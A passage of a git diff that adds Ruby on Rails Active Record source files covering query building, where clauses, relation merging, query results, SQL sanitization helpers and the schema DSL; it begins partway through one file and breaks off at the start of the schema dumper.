+    # Sets the relation value with the given name
+    def set_value(name, value) # :nodoc:
+      assert_mutability!
+      @values[name] = value
+    end
+
+    private
+
+      def assert_mutability!
+        raise ImmutableRelation if @loaded
+        raise ImmutableRelation if defined?(@arel) && @arel
+      end
+
+      def build_arel
+        arel = Arel::SelectManager.new(table)
+
+        build_joins(arel, joins_values.flatten) unless joins_values.empty?
+        build_left_outer_joins(arel, left_outer_joins_values.flatten) unless left_outer_joins_values.empty?
+
+        arel.where(where_clause.ast) unless where_clause.empty?
+        arel.having(having_clause.ast) unless having_clause.empty?
+        if limit_value
+          limit_attribute = Attribute.with_cast_value(
+            "LIMIT".freeze,
+            connection.sanitize_limit(limit_value),
+            Type.default_value,
+          )
+          arel.take(Arel::Nodes::BindParam.new(limit_attribute))
+        end
+        if offset_value
+          offset_attribute = Attribute.with_cast_value(
+            "OFFSET".freeze,
+            offset_value.to_i,
+            Type.default_value,
+          )
+          arel.skip(Arel::Nodes::BindParam.new(offset_attribute))
+        end
+        arel.group(*arel_columns(group_values.uniq.reject(&:blank?))) unless group_values.empty?
+
+        build_order(arel)
+
+        build_select(arel)
+
+        arel.distinct(distinct_value)
+        arel.from(build_from) unless from_clause.empty?
+        arel.lock(lock_value) if lock_value
+
+        arel
+      end
+
+      def build_from
+        opts = from_clause.value
+        name = from_clause.name
+        case opts
+        when Relation
+          name ||= "subquery"
+          opts.arel.as(name.to_s)
+        else
+          opts
+        end
+      end
+
+      def build_left_outer_joins(manager, outer_joins)
+        buckets = outer_joins.group_by do |join|
+          case join
+          when Hash, Symbol, Array
+            :association_join
+          else
+            raise ArgumentError, "only Hash, Symbol and Array are allowed"
+          end
+        end
+
+        build_join_query(manager, buckets, Arel::Nodes::OuterJoin)
+      end
+
+      def build_joins(manager, joins)
+        buckets = joins.group_by do |join|
+          case join
+          when String
+            :string_join
+          when Hash, Symbol, Array
+            :association_join
+          when ActiveRecord::Associations::JoinDependency
+            :stashed_join
+          when Arel::Nodes::Join
+            :join_node
+          else
+            raise "unknown class: %s" % join.class.name
+          end
+        end
+
+        build_join_query(manager, buckets, Arel::Nodes::InnerJoin)
+      end
+
+      def build_join_query(manager, buckets, join_type)
+        buckets.default = []
+
+        association_joins         = buckets[:association_join]
+        stashed_association_joins = buckets[:stashed_join]
+        join_nodes                = buckets[:join_node].uniq
+        string_joins              = buckets[:string_join].map(&:strip).uniq
+
+        join_list = join_nodes + convert_join_strings_to_ast(manager, string_joins)
+
+        join_dependency = ActiveRecord::Associations::JoinDependency.new(
+          klass, table, association_joins, join_list
+        )
+
+        joins = join_dependency.join_constraints(stashed_association_joins, join_type)
+        joins.each { |join| manager.from(join) }
+
+        manager.join_sources.concat(join_list)
+
+        manager
+      end
+
+      def convert_join_strings_to_ast(table, joins)
+        joins
+          .flatten
+          .reject(&:blank?)
+          .map { |join| table.create_string_join(Arel.sql(join)) }
+      end
+
+      def build_select(arel)
+        if select_values.any?
+          arel.project(*arel_columns(select_values.uniq))
+        else
+          arel.project(table[Arel.star])
+        end
+      end
+
+      def arel_columns(columns)
+        columns.map do |field|
+          if (Symbol === field || String === field) && (klass.has_attribute?(field) || klass.attribute_alias?(field)) && !from_clause.value
+            arel_attribute(field)
+          elsif Symbol === field
+            connection.quote_table_name(field.to_s)
+          else
+            field
+          end
+        end
+      end
+
+      def reverse_sql_order(order_query)
+        if order_query.empty?
+          return [arel_attribute(primary_key).desc] if primary_key
+          raise IrreversibleOrderError,
+            "Relation has no current order and table has no primary key to be used as default order"
+        end
+
+        order_query.flat_map do |o|
+          case o
+          when Arel::Attribute
+            o.desc
+          when Arel::Nodes::Ordering
+            o.reverse
+          when String
+            if does_not_support_reverse?(o)
+              raise IrreversibleOrderError, "Order #{o.inspect} can not be reversed automatically"
+            end
+            o.split(",").map! do |s|
+              s.strip!
+              s.gsub!(/\sasc\Z/i, " DESC") || s.gsub!(/\sdesc\Z/i, " ASC") || s.concat(" DESC")
+            end
+          else
+            o
+          end
+        end
+      end
+
+      def does_not_support_reverse?(order)
+        # Uses SQL function with multiple arguments.
+        (order.include?(",") && order.split(",").find { |section| section.count("(") != section.count(")") }) ||
+          # Uses "nulls first" like construction.
+          /nulls (first|last)\Z/i.match?(order)
+      end
+
+      def build_order(arel)
+        orders = order_values.uniq
+        orders.reject!(&:blank?)
+
+        arel.order(*orders) unless orders.empty?
+      end
+
+      VALID_DIRECTIONS = [:asc, :desc, :ASC, :DESC,
+                          "asc", "desc", "ASC", "DESC"].to_set # :nodoc:
+
+      def validate_order_args(args)
+        args.each do |arg|
+          next unless arg.is_a?(Hash)
+          arg.each do |_key, value|
+            unless VALID_DIRECTIONS.include?(value)
+              raise ArgumentError,
+                "Direction \"#{value}\" is invalid. Valid directions are: #{VALID_DIRECTIONS.to_a.inspect}"
+            end
+          end
+        end
+      end
+
+      def preprocess_order_args(order_args)
+        order_args.map! do |arg|
+          klass.send(:sanitize_sql_for_order, arg)
+        end
+        order_args.flatten!
+        validate_order_args(order_args)
+
+        references = order_args.grep(String)
+        references.map! { |arg| arg =~ /^\W?(\w+)\W?\./ && $1 }.compact!
+        references!(references) if references.any?
+
+        # if a symbol is given we prepend the quoted table name
+        order_args.map! do |arg|
+          case arg
+          when Symbol
+            arel_attribute(arg).asc
+          when Hash
+            arg.map { |field, dir|
+              case field
+              when Arel::Nodes::SqlLiteral
+                field.send(dir.downcase)
+              else
+                arel_attribute(field).send(dir.downcase)
+              end
+            }
+          else
+            arg
+          end
+        end.flatten!
+      end
+
+      # Checks to make sure that the arguments are not blank. Note that if some
+      # blank-like object were initially passed into the query method, then this
+      # method will not raise an error.
+      #
+      # Example:
+      #
+      #    Post.references()   # raises an error
+      #    Post.references([]) # does not raise an error
+      #
+      # This particular method should be called with a method_name and the args
+      # passed into that method as an input. For example:
+      #
+      # def references(*args)
+      #   check_if_method_has_arguments!("references", args)
+      #   ...
+      # end
+      def check_if_method_has_arguments!(method_name, args)
+        if args.blank?
+          raise ArgumentError, "The method .#{method_name}() must contain arguments."
+        end
+      end
+
+      STRUCTURAL_OR_METHODS = Relation::VALUE_METHODS - [:extending, :where, :having, :unscope, :references]
+      def structurally_incompatible_values_for_or(other)
+        STRUCTURAL_OR_METHODS.reject do |method|
+          get_value(method) == other.get_value(method)
+        end
+      end
+
+      def where_clause_factory
+        @where_clause_factory ||= Relation::WhereClauseFactory.new(klass, predicate_builder)
+      end
+      alias having_clause_factory where_clause_factory
+
+      def default_value_for(name)
+        case name
+        when :create_with
+          FROZEN_EMPTY_HASH
+        when :readonly
+          false
+        when :where, :having
+          Relation::WhereClause.empty
+        when :from
+          Relation::FromClause.empty
+        when *Relation::MULTI_VALUE_METHODS
+          FROZEN_EMPTY_ARRAY
+        when *Relation::SINGLE_VALUE_METHODS
+          nil
+        else
+          raise ArgumentError, "unknown relation value #{name.inspect}"
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/record_fetch_warning.rb b/activerecord/lib/active_record/relation/record_fetch_warning.rb
new file mode 100644
index 0000000000..a7d07d23e1
--- /dev/null
+++ b/activerecord/lib/active_record/relation/record_fetch_warning.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Relation
+    module RecordFetchWarning
+      # When this module is prepended to ActiveRecord::Relation and
+      # +config.active_record.warn_on_records_fetched_greater_than+ is
+      # set to an integer, if the number of records a query returns is
+      # greater than the value of +warn_on_records_fetched_greater_than+,
+      # a warning is logged. This allows for the detection of queries that
+      # return a large number of records, which could cause memory bloat.
+      #
+      # In most cases, fetching large number of records can be performed
+      # efficiently using the ActiveRecord::Batches methods.
+      # See ActiveRecord::Batches for more information.
+      def exec_queries
+        QueryRegistry.reset
+
+        super.tap do
+          if logger && warn_on_records_fetched_greater_than
+            if @records.length > warn_on_records_fetched_greater_than
+              logger.warn "Query fetched #{@records.size} #{@klass} records: #{QueryRegistry.queries.join(";")}"
+            end
+          end
+        end
+      end
+
+      # :stopdoc:
+      ActiveSupport::Notifications.subscribe("sql.active_record") do |*, payload|
+        QueryRegistry.queries << payload[:sql]
+      end
+      # :startdoc:
+
+      class QueryRegistry # :nodoc:
+        extend ActiveSupport::PerThreadRegistry
+
+        attr_reader :queries
+
+        def initialize
+          @queries = []
+        end
+
+        def reset
+          @queries.clear
+        end
+      end
+    end
+  end
+end
+
+ActiveRecord::Relation.prepend ActiveRecord::Relation::RecordFetchWarning
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
new file mode 100644
index 0000000000..424894f835
--- /dev/null
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+require "active_support/core_ext/hash/slice"
+require_relative "merger"
+
+module ActiveRecord
+  module SpawnMethods
+    # This is overridden by Associations::CollectionProxy
+    def spawn #:nodoc:
+      clone
+    end
+
+    # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an ActiveRecord::Relation.
+    # Returns an array representing the intersection of the resulting records with <tt>other</tt>, if <tt>other</tt> is an array.
+    #
+    #   Post.where(published: true).joins(:comments).merge( Comment.where(spam: false) )
+    #   # Performs a single join query with both where conditions.
+    #
+    #   recent_posts = Post.order('created_at DESC').first(5)
+    #   Post.where(published: true).merge(recent_posts)
+    #   # Returns the intersection of all published posts with the 5 most recently created posts.
+    #   # (This is just an example. You'd probably want to do this with a single query!)
+    #
+    # Procs will be evaluated by merge:
+    #
+    #   Post.where(published: true).merge(-> { joins(:comments) })
+    #   # => Post.where(published: true).joins(:comments)
+    #
+    # This is mainly intended for sharing common conditions between multiple associations.
+    def merge(other)
+      if other.is_a?(Array)
+        records & other
+      elsif other
+        spawn.merge!(other)
+      else
+        raise ArgumentError, "invalid argument: #{other.inspect}."
+      end
+    end
+
+    def merge!(other) # :nodoc:
+      if other.is_a?(Hash)
+        Relation::HashMerger.new(self, other).merge
+      elsif other.is_a?(Relation)
+        Relation::Merger.new(self, other).merge
+      elsif other.respond_to?(:to_proc)
+        instance_exec(&other)
+      else
+        raise ArgumentError, "#{other.inspect} is not an ActiveRecord::Relation"
+      end
+    end
+
+    # Removes from the query the condition(s) specified in +skips+.
+    #
+    #   Post.order('id asc').except(:order)                  # discards the order condition
+    #   Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
+    def except(*skips)
+      relation_with values.except(*skips)
+    end
+
+    # Removes any condition from the query other than the one(s) specified in +onlies+.
+    #
+    #   Post.order('id asc').only(:where)         # discards the order condition
+    #   Post.order('id asc').only(:where, :order) # uses the specified order
+    def only(*onlies)
+      relation_with values.slice(*onlies)
+    end
+
+    private
+
+      def relation_with(values)
+        result = Relation.create(klass, table, predicate_builder, values)
+        result.extend(*extending_values) if extending_values.any?
+        result
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/where_clause.rb b/activerecord/lib/active_record/relation/where_clause.rb
new file mode 100644
index 0000000000..752bb38481
--- /dev/null
+++ b/activerecord/lib/active_record/relation/where_clause.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Relation
+    class WhereClause # :nodoc:
+      delegate :any?, :empty?, to: :predicates
+
+      def initialize(predicates)
+        @predicates = predicates
+      end
+
+      def +(other)
+        WhereClause.new(
+          predicates + other.predicates,
+        )
+      end
+
+      def -(other)
+        WhereClause.new(
+          predicates - other.predicates,
+        )
+      end
+
+      def merge(other)
+        WhereClause.new(
+          predicates_unreferenced_by(other) + other.predicates,
+        )
+      end
+
+      def except(*columns)
+        WhereClause.new(except_predicates(columns))
+      end
+
+      def or(other)
+        left = self - other
+        common = self - left
+        right = other - common
+
+        if left.empty? || right.empty?
+          common
+        else
+          or_clause = WhereClause.new(
+            [left.ast.or(right.ast)],
+          )
+          common + or_clause
+        end
+      end
+
+      def to_h(table_name = nil)
+        equalities = predicates.grep(Arel::Nodes::Equality)
+        if table_name
+          equalities = equalities.select do |node|
+            node.left.relation.name == table_name
+          end
+        end
+
+        equalities.map { |node|
+          name = node.left.name.to_s
+          value = extract_node_value(node.right)
+          [name, value]
+        }.to_h
+      end
+
+      def ast
+        Arel::Nodes::And.new(predicates_with_wrapped_sql_literals)
+      end
+
+      def ==(other)
+        other.is_a?(WhereClause) &&
+          predicates == other.predicates
+      end
+
+      def invert
+        WhereClause.new(inverted_predicates)
+      end
+
+      def self.empty
+        @empty ||= new([])
+      end
+
+      protected
+
+        attr_reader :predicates
+
+        def referenced_columns
+          @referenced_columns ||= begin
+            equality_nodes = predicates.select { |n| equality_node?(n) }
+            Set.new(equality_nodes, &:left)
+          end
+        end
+
+      private
+
+        def predicates_unreferenced_by(other)
+          predicates.reject do |n|
+            equality_node?(n) && other.referenced_columns.include?(n.left)
+          end
+        end
+
+        def equality_node?(node)
+          node.respond_to?(:operator) && node.operator == :==
+        end
+
+        def inverted_predicates
+          predicates.map { |node| invert_predicate(node) }
+        end
+
+        def invert_predicate(node)
+          case node
+          when NilClass
+            raise ArgumentError, "Invalid argument for .where.not(), got nil."
+          when Arel::Nodes::In
+            Arel::Nodes::NotIn.new(node.left, node.right)
+          when Arel::Nodes::Equality
+            Arel::Nodes::NotEqual.new(node.left, node.right)
+          when String
+            Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new(node))
+          else
+            Arel::Nodes::Not.new(node)
+          end
+        end
+
+        def except_predicates(columns)
+          self.predicates.reject do |node|
+            case node
+            when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThan, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThan, Arel::Nodes::GreaterThanOrEqual
+              subrelation = (node.left.kind_of?(Arel::Attributes::Attribute) ? node.left : node.right)
+              columns.include?(subrelation.name.to_s)
+            end
+          end
+        end
+
+        def predicates_with_wrapped_sql_literals
+          non_empty_predicates.map do |node|
+            case node
+            when Arel::Nodes::SqlLiteral, ::String
+              wrap_sql_literal(node)
+            else node
+            end
+          end
+        end
+
+        ARRAY_WITH_EMPTY_STRING = [""]
+        def non_empty_predicates
+          predicates - ARRAY_WITH_EMPTY_STRING
+        end
+
+        def wrap_sql_literal(node)
+          if ::String === node
+            node = Arel.sql(node)
+          end
+          Arel::Nodes::Grouping.new(node)
+        end
+
+        def extract_node_value(node)
+          case node
+          when Array
+            node.map { |v| extract_node_value(v) }
+          when Arel::Nodes::Casted, Arel::Nodes::Quoted
+            node.val
+          when Arel::Nodes::BindParam
+            value = node.value
+            if value.respond_to?(:value_before_type_cast)
+              value.value_before_type_cast
+            else
+              value
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/where_clause_factory.rb b/activerecord/lib/active_record/relation/where_clause_factory.rb
new file mode 100644
index 0000000000..1374785354
--- /dev/null
+++ b/activerecord/lib/active_record/relation/where_clause_factory.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class Relation
+    class WhereClauseFactory # :nodoc:
+      def initialize(klass, predicate_builder)
+        @klass = klass
+        @predicate_builder = predicate_builder
+      end
+
+      def build(opts, other)
+        case opts
+        when String, Array
+          parts = [klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
+        when Hash
+          attributes = predicate_builder.resolve_column_aliases(opts)
+          attributes = klass.send(:expand_hash_conditions_for_aggregates, attributes)
+          attributes.stringify_keys!
+
+          parts = predicate_builder.build_from_hash(attributes)
+        when Arel::Nodes::Node
+          parts = [opts]
+        else
+          raise ArgumentError, "Unsupported argument type: #{opts} (#{opts.class})"
+        end
+
+        WhereClause.new(parts)
+      end
+
+      protected
+
+        attr_reader :klass, :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
new file mode 100644
index 0000000000..e54e8086dd
--- /dev/null
+++ b/activerecord/lib/active_record/result.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  ###
+  # This class encapsulates a result returned from calling
+  # {#exec_query}[rdoc-ref:ConnectionAdapters::DatabaseStatements#exec_query]
+  # on any database connection adapter. For example:
+  #
+  #   result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts')
+  #   result # => #<ActiveRecord::Result:0xdeadbeef>
+  #
+  #   # Get the column names of the result:
+  #   result.columns
+  #   # => ["id", "title", "body"]
+  #
+  #   # Get the record values of the result:
+  #   result.rows
+  #   # => [[1, "title_1", "body_1"],
+  #         [2, "title_2", "body_2"],
+  #         ...
+  #        ]
+  #
+  #   # Get an array of hashes representing the result (column => value):
+  #   result.to_hash
+  #   # => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
+  #         {"id" => 2, "title" => "title_2", "body" => "body_2"},
+  #         ...
+  #        ]
+  #
+  #   # ActiveRecord::Result also includes Enumerable.
+  #   result.each do |row|
+  #     puts row['title'] + " " + row['body']
+  #   end
+  class Result
+    include Enumerable
+
+    attr_reader :columns, :rows, :column_types
+
+    def initialize(columns, rows, column_types = {})
+      @columns      = columns
+      @rows         = rows
+      @hash_rows    = nil
+      @column_types = column_types
+    end
+
+    # Returns the number of elements in the rows array.
+    def length
+      @rows.length
+    end
+
+    # Calls the given block once for each element in row collection, passing
+    # row as parameter.
+    #
+    # Returns an +Enumerator+ if no block is given.
+    def each
+      if block_given?
+        hash_rows.each { |row| yield row }
+      else
+        hash_rows.to_enum { @rows.size }
+      end
+    end
+
+    # Returns an array of hashes representing each row record.
+    def to_hash
+      hash_rows
+    end
+
+    alias :map! :map
+    alias :collect! :map
+
+    # Returns true if there are no records, otherwise false.
+    def empty?
+      rows.empty?
+    end
+
+    # Returns an array of hashes representing each row record.
+    def to_ary
+      hash_rows
+    end
+
+    def [](idx)
+      hash_rows[idx]
+    end
+
+    # Returns the first record from the rows collection.
+    # If the rows collection is empty, returns +nil+.
+    def first
+      return nil if @rows.empty?
+      Hash[@columns.zip(@rows.first)]
+    end
+
+    # Returns the last record from the rows collection.
+    # If the rows collection is empty, returns +nil+.
+    def last
+      return nil if @rows.empty?
+      Hash[@columns.zip(@rows.last)]
+    end
+
+    def cast_values(type_overrides = {}) # :nodoc:
+      types = columns.map { |name| column_type(name, type_overrides) }
+      result = rows.map do |values|
+        types.zip(values).map { |type, value| type.deserialize(value) }
+      end
+
+      columns.one? ? result.map!(&:first) : result
+    end
+
+    def initialize_copy(other)
+      @columns      = columns.dup
+      @rows         = rows.dup
+      @column_types = column_types.dup
+      @hash_rows    = nil
+    end
+
+    private
+
+      def column_type(name, type_overrides = {})
+        type_overrides.fetch(name) do
+          column_types.fetch(name, Type.default_value)
+        end
+      end
+
+      def hash_rows
+        @hash_rows ||=
+          begin
+            # We freeze the strings to prevent them getting duped when
+            # used as keys in ActiveRecord::Base's @attributes hash
+            columns = @columns.map { |c| c.dup.freeze }
+            @rows.map { |row|
+              # In the past we used Hash[columns.zip(row)]
+              #  though elegant, the verbose way is much more efficient
+              #  both time and memory wise cause it avoids a big array allocation
+              #  this method is called a lot and needs to be micro optimised
+              hash = {}
+
+              index = 0
+              length = columns.length
+
+              while index < length
+                hash[columns[index]] = row[index]
+                index += 1
+              end
+
+              hash
+            }
+          end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
new file mode 100644
index 0000000000..4975cb8967
--- /dev/null
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "active_support/per_thread_registry"
+
+module ActiveRecord
+  # This is a thread locals registry for Active Record. For example:
+  #
+  #   ActiveRecord::RuntimeRegistry.connection_handler
+  #
+  # returns the connection handler local to the current thread.
+  #
+  # See the documentation of ActiveSupport::PerThreadRegistry
+  # for further details.
+  class RuntimeRegistry # :nodoc:
+    extend ActiveSupport::PerThreadRegistry
+
+    attr_accessor :connection_handler, :sql_runtime
+
+    [:connection_handler, :sql_runtime].each do |val|
+      class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
+      class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
new file mode 100644
index 0000000000..91a4f1fad6
--- /dev/null
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Sanitization
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      private
+
+        # Accepts an array or string of SQL conditions and sanitizes
+        # them into a valid SQL fragment for a WHERE clause.
+        #
+        #   sanitize_sql_for_conditions(["name=? and group_id=?", "foo'bar", 4])
+        #   # => "name='foo''bar' and group_id=4"
+        #
+        #   sanitize_sql_for_conditions(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+        #   # => "name='foo''bar' and group_id='4'"
+        #
+        #   sanitize_sql_for_conditions(["name='%s' and group_id='%s'", "foo'bar", 4])
+        #   # => "name='foo''bar' and group_id='4'"
+        #
+        #   sanitize_sql_for_conditions("name='foo''bar' and group_id='4'")
+        #   # => "name='foo''bar' and group_id='4'"
+        def sanitize_sql_for_conditions(condition) # :doc:
+          return nil if condition.blank?
+
+          case condition
+          when Array; sanitize_sql_array(condition)
+          else        condition
+          end
+        end
+        alias :sanitize_sql :sanitize_sql_for_conditions
+        alias :sanitize_conditions :sanitize_sql
+        deprecate sanitize_conditions: :sanitize_sql
+
+        # Accepts an array, hash, or string of SQL conditions and sanitizes
+        # them into a valid SQL fragment for a SET clause.
+        #
+        #   sanitize_sql_for_assignment(["name=? and group_id=?", nil, 4])
+        #   # => "name=NULL and group_id=4"
+        #
+        #   sanitize_sql_for_assignment(["name=:name and group_id=:group_id", name: nil, group_id: 4])
+        #   # => "name=NULL and group_id=4"
+        #
+        #   Post.send(:sanitize_sql_for_assignment, { name: nil, group_id: 4 })
+        #   # => "`posts`.`name` = NULL, `posts`.`group_id` = 4"
+        #
+        #   sanitize_sql_for_assignment("name=NULL and group_id='4'")
+        #   # => "name=NULL and group_id='4'"
+        def sanitize_sql_for_assignment(assignments, default_table_name = table_name) # :doc:
+          case assignments
+          when Array; sanitize_sql_array(assignments)
+          when Hash;  sanitize_sql_hash_for_assignment(assignments, default_table_name)
+          else        assignments
+          end
+        end
+
+        # Accepts an array, or string of SQL conditions and sanitizes
+        # them into a valid SQL fragment for an ORDER clause.
+        #
+        #   sanitize_sql_for_order(["field(id, ?)", [1,3,2]])
+        #   # => "field(id, 1,3,2)"
+        #
+        #   sanitize_sql_for_order("id ASC")
+        #   # => "id ASC"
+        def sanitize_sql_for_order(condition) # :doc:
+          if condition.is_a?(Array) && condition.first.to_s.include?("?")
+            sanitize_sql_array(condition)
+          else
+            condition
+          end
+        end
+
+        # Accepts a hash of SQL conditions and replaces those attributes
+        # that correspond to a {#composed_of}[rdoc-ref:Aggregations::ClassMethods#composed_of]
+        # relationship with their expanded aggregate attribute values.
+        #
+        # Given:
+        #
+        #   class Person < ActiveRecord::Base
+        #     composed_of :address, class_name: "Address",
+        #       mapping: [%w(address_street street), %w(address_city city)]
+        #   end
+        #
+        # Then:
+        #
+        #   { address: Address.new("813 abc st.", "chicago") }
+        #   # => { address_street: "813 abc st.", address_city: "chicago" }
+        def expand_hash_conditions_for_aggregates(attrs) # :doc:
+          expanded_attrs = {}
+          attrs.each do |attr, value|
+            if aggregation = reflect_on_aggregation(attr.to_sym)
+              mapping = aggregation.mapping
+              mapping.each do |field_attr, aggregate_attr|
+                if mapping.size == 1 && !value.respond_to?(aggregate_attr)
+                  expanded_attrs[field_attr] = value
+                else
+                  expanded_attrs[field_attr] = value.send(aggregate_attr)
+                end
+              end
+            else
+              expanded_attrs[attr] = value
+            end
+          end
+          expanded_attrs
+        end
+
+        # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
+        #
+        #   sanitize_sql_hash_for_assignment({ status: nil, group_id: 1 }, "posts")
+        #   # => "`posts`.`status` = NULL, `posts`.`group_id` = 1"
+        def sanitize_sql_hash_for_assignment(attrs, table) # :doc:
+          c = connection
+          attrs.map do |attr, value|
+            value = type_for_attribute(attr.to_s).serialize(value)
+            "#{c.quote_table_name_for_assignment(table, attr)} = #{c.quote(value)}"
+          end.join(", ")
+        end
+
+        # Sanitizes a +string+ so that it is safe to use within an SQL
+        # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%".
+        #
+        #   sanitize_sql_like("100%")
+        #   # => "100\\%"
+        #
+        #   sanitize_sql_like("snake_cased_string")
+        #   # => "snake\\_cased\\_string"
+        #
+        #   sanitize_sql_like("100%", "!")
+        #   # => "100!%"
+        #
+        #   sanitize_sql_like("snake_cased_string", "!")
+        #   # => "snake!_cased!_string"
+        def sanitize_sql_like(string, escape_character = "\\") # :doc:
+          pattern = Regexp.union(escape_character, "%", "_")
+          string.gsub(pattern) { |x| [escape_character, x].join }
+        end
+
+        # Accepts an array of conditions. The array has each value
+        # sanitized and interpolated into the SQL statement.
+        #
+        #   sanitize_sql_array(["name=? and group_id=?", "foo'bar", 4])
+        #   # => "name='foo''bar' and group_id=4"
+        #
+        #   sanitize_sql_array(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+        #   # => "name='foo''bar' and group_id=4"
+        #
+        #   sanitize_sql_array(["name='%s' and group_id='%s'", "foo'bar", 4])
+        #   # => "name='foo''bar' and group_id='4'"
+        def sanitize_sql_array(ary) # :doc:
+          statement, *values = ary
+          if values.first.is_a?(Hash) && /:\w+/.match?(statement)
+            replace_named_bind_variables(statement, values.first)
+          elsif statement.include?("?")
+            replace_bind_variables(statement, values)
+          elsif statement.blank?
+            statement
+          else
+            statement % values.collect { |value| connection.quote_string(value.to_s) }
+          end
+        end
+
+        def replace_bind_variables(statement, values)
+          raise_if_bind_arity_mismatch(statement, statement.count("?"), values.size)
+          bound = values.dup
+          c = connection
+          statement.gsub(/\?/) do
+            replace_bind_variable(bound.shift, c)
+          end
+        end
+
+        def replace_bind_variable(value, c = connection)
+          if ActiveRecord::Relation === value
+            value.to_sql
+          else
+            quote_bound_value(value, c)
+          end
+        end
+
+        def replace_named_bind_variables(statement, bind_vars)
+          statement.gsub(/(:?):([a-zA-Z]\w*)/) do |match|
+            if $1 == ":" # skip postgresql casts
+              match # return the whole match
+            elsif bind_vars.include?(match = $2.to_sym)
+              replace_bind_variable(bind_vars[match])
+            else
+              raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
+            end
+          end
+        end
+
+        def quote_bound_value(value, c = connection)
+          if value.respond_to?(:map) && !value.acts_like?(:string)
+            if value.respond_to?(:empty?) && value.empty?
+              c.quote(nil)
+            else
+              value.map { |v| c.quote(v) }.join(",")
+            end
+          else
+            c.quote(value)
+          end
+        end
+
+        def raise_if_bind_arity_mismatch(statement, expected, provided)
+          unless expected == provided
+            raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
+          end
+        end
+    end
+
+    def quoted_id # :nodoc:
+      self.class.connection.quote(@attributes[self.class.primary_key].value_for_database)
+    end
+    deprecate :quoted_id
+  end
+end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
new file mode 100644
index 0000000000..f166c27fd9
--- /dev/null
+++ b/activerecord/lib/active_record/schema.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \Schema
+  #
+  # Allows programmers to programmatically define a schema in a portable
+  # DSL. This means you can define tables, indexes, etc. without using SQL
+  # directly, so your applications can more easily support multiple
+  # databases.
+  #
+  # Usage:
+  #
+  #   ActiveRecord::Schema.define do
+  #     create_table :authors do |t|
+  #       t.string :name, null: false
+  #     end
+  #
+  #     add_index :authors, :name, :unique
+  #
+  #     create_table :posts do |t|
+  #       t.integer :author_id, null: false
+  #       t.string :subject
+  #       t.text :body
+  #       t.boolean :private, default: false
+  #     end
+  #
+  #     add_index :posts, :author_id
+  #   end
+  #
+  # ActiveRecord::Schema is only supported by database adapters that also
+  # support migrations, the two features being very similar.
+  class Schema < Migration::Current
+    # Eval the given block. All methods available to the current connection
+    # adapter are available within the block, so you can easily use the
+    # database definition DSL to build up your schema (
+    # {create_table}[rdoc-ref:ConnectionAdapters::SchemaStatements#create_table],
+    # {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index], etc.).
+    #
+    # The +info+ hash is optional, and if given is used to define metadata
+    # about the current schema (currently, only the schema's version):
+    #
+    #   ActiveRecord::Schema.define(version: 20380119000001) do
+    #     ...
+    #   end
+    def self.define(info = {}, &block)
+      new.define(info, &block)
+    end
+
+    def define(info, &block) # :nodoc:
+      instance_eval(&block)
+
+      if info[:version].present?
+        ActiveRecord::SchemaMigration.create_table
+        connection.assume_migrated_upto_version(info[:version], migrations_paths)
+      end
+
+      ActiveRecord::InternalMetadata.create_table
+      ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+    end
+
+    private
+      # Returns the migrations paths.
+      #
+      #   ActiveRecord::Schema.new.migrations_paths
+      #   # => ["db/migrate"] # Rails migration path by default.
+      def migrations_paths
+        ActiveRecord::Migrator.migrations_paths
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
new file mode 100644
index 0000000000..27a1c89bd1
--- /dev/null
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require "stringio"
+
+module ActiveRecord
+  # = Active Record Schema Dumper
+  #
+  # This class is used to dump the database schema for some connection to some
+  # output format (i.e., ActiveRecord::Schema).
